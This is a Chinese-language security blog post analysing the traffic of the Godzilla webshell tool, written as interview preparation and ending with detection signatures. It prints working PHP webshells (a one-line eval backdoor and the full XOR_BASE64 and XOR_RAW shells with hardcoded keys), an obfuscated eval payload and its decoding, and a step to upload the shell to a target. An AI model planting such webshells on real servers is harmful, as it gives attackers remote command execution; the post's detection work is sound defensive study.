面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

admin 2024年11月12日15:11:40评论23 views字数 6218阅读20分43秒阅读模式

概述

文末有工具链接。

此工具于 2020 年开发,初代代码一万多行,与其它早期 Webshell 工具相比不同的是,此工具可兼容多种后渗透插件,轻便且自带多种加密方式,支持 ASP、JSP、PHP 等语言。

通过流量分析有助于我们了解工具的数据传输方式和特征,找工作、HW 面试高频题,便于做安全防护,也可以学学工具的工作思路,便于自己做工具开发。

相对于蚁剑来说用的比较多,比较好二开、魔改。

环境构建

首先创建一句话木马文件(shell.php),内容如下。

<?php eval($_POST['cmd']); ?>

将木马上传到目标系统。

然后通过哥斯拉连接木马,密码是 cmd,密钥使用默认的 key 即可,并将哥斯拉的代理设置为 127.0.0.1:8080

最后使用 Burpsuite 抓包即可。

不同加密器分析

哥斯拉不同于其它工具的是,哥斯拉发送测试连接的包成功后会出现 3 个包,失败的情况下是 2 个包。

EVAL_XOR_BASE64

在第一个数据包中,明显的是没有 cookie,并发送了大量的数据(都是预先要定义好的函数,后续将使用相关的函数方法进行操作),然后响应包中无响应内容,只是设置了一个 cookie 值(phpsession)。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

在第二个包中可以看到,第一个响应包内的 cookie 值在第二个请求包中存在了,且响应内容不为空。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

第三个包是点击 success 后出现的,和第二个包基本一样。

接着往后看,选择进入后发现发送了几个请求包,注意看请求包内容,密码是我们设置的 cmd,密钥则是 key

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

上图中,程序通过 cmd(密码)传输数据给目标,这里我们就可以尝试解码这段内容。

cmd 后面的内容复制出来,先 url 解码一下,就能看到以下内容。

eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));

这部分数据是一堆代码,目标接收后外面四层代码执行逻辑是:先对内容进行 url 解码,然后翻转字符串,最后进行 base64 解码后给 eval 执行。

紧接着我们对引号中的源码进行解码操作,结果如下:

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
  eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

上述代码在目标设备上被 eval 执行后,又会将请求包中密钥 key 后面的内容取过来解密,请求包中密钥 key 后的值看似是 base64,实则进行了异或加密。

到这里,我们知道了密码(cmd)、密钥(key)和大致工作原理后,我们就可以拿哥斯拉执行命令的数据包使用大佬的工具进行解密了,当然也可以自己写代码解密哈。

接下来进入命令行执行 whoami,并分别对请求包数据和响应包数据进行解密。

  • 将密码和密钥填入,有效载荷和加密器选择正确,然后将 key 后面的值复制进去即可,此时请求包可以看到命令 whoami,调用了 execCommand 方法。
面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)
  • 响应包中可以看到回显了当前用户。
面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

其他加密器

XOR_RAWXOR_BASE64,这两个都需要使用哥斯拉客户端生成马子才能正常连接,不能使用我们自己写的马子。

XOR_BASE64

生成马子

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

生成的马子源码如下

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='cmd';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
  eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

流程还是一样,测试时第一个请求包无 cookie,发送了大量配置信息,响应包无响应内容,生成了 cookie(phpsession)。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

第二三个包则基本是一样的,主要是发送测试信息,并且发现此时抓包只能看到密码(cmd),没有了密钥(key)。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

通过马子的源代码发现,请求包数据通过 cmd 传输的内容是先进行 base64 编码,然后和密钥 key 一起进行异或加密(通过 encode 函数得知)的结果。

这里相当于根据马子的代码逻辑反推数据发送者的代码逻辑。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

所以此时想要对数据进行解密,只能先确定马子的路径,然后通过马子的源代码获取密钥和异或算法。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

这是 hash 后的密钥,是对明文密钥(key)进行 MD5 后取前 16 位的结果。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

接下来执行 whoami,并对请求包和响应包数据进行解密。

  • 将密码和密钥填入,勾选加密后的 key,有效载荷和加密器选择正确,然后将请求包 cmd 后面的值复制进去即可,此时请求包看到命令 whoami,调用了 execCommand 方法。
面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)
  • 响应包中可以看到回显了当前用户。
面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)
XOR_RAW

生成马子

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

生成的马子源码如下

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
  eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

依然是先发送三个包(可以自己抓包看看)。

XOR_RAW 的请求包数据完全看不懂,因为传输的是二进制数据,通过源码可知目标是通过 php://input 接收的二进制数据。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)
面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

我们发现请求包中既没看到密码(cmd),也没看到密钥(key),看了源码后你就会发现密码是本来就没有的,密钥在马子的源码中可以获取。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

所以这里工具解密的话需要先将二进制数据转为十六进制数据,可以通过在马子的最后添加如下代码实现。

echo 'aaaa';
$data=file_get_contents("php://input");
$hexdata=bin2hex($data);
echo $hexdata;

然后抓取执行命令 whoami 的响应包(一定要在 http history 查看,不要开启拦截功能),将 aaaa 后面的内容全部复制出来就能得到十六进制数据进行解密操作了。

面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

特征

强特征

  • 链接失败情况下生成 2 个数据包,成功为 3 个数据包。

请求和响应特征

  • 第一个请求总会发送大量数据,这是配置信息,且请求包内无 cookie,服务器响应包无内容,生成一个 cookie(phpsession),后续请求会带上此 session 到请求包的 cookie 中。
  • 强特征,生成的 cookie 后面有个分号,这个不知道是不是作者忘记去除了,你可以去抓个其它正常网站的包看看,这里一般情况下应该没有才对。

用户代理(UA)特征

  • UA 可能为 jdk 版本号,哥斯拉可以修改 UA,弱特征,可以做为辅助验证。

Accept 字段特征

  • 我们分析的版本是:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8,同样作为弱特征,容易去除。

响应内容特征

  • 响应内容中,哥斯拉会把 32 位的 MD5(密码+密钥) 从中间拆分成两部分放在 base64 前后,也可以作为特征之一,除了 XOR_RAW 没这个玩法。

请求体内容特征

  • 较强特征,此检测方法较特殊,排除我们第一个分析的 PHP_EVAL_XOR_BASE64 特征较强之外,其它 shell 在判断时,安全设备误报率较高,因为需要 key 解密才知道传输的数据是什么,而安全设备无法直接拿到 key ,故无法进行解密,这个需要人工自行判定并定位到马子源文件。

注意

上述分析都是默认情况下对原版工具的分析,未对加密改动的情况进行分析,因为原作者早已不更新了,所以圈内也出现了很多二开版本,比如增加加密方式、把流量混淆、对已有的特征进行消除等都有可能,不作为二开版本分析依据。

原文始发于微信公众号(大伯为安全):面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日15:11:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)https://cn-sec.com/archives/3388333.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息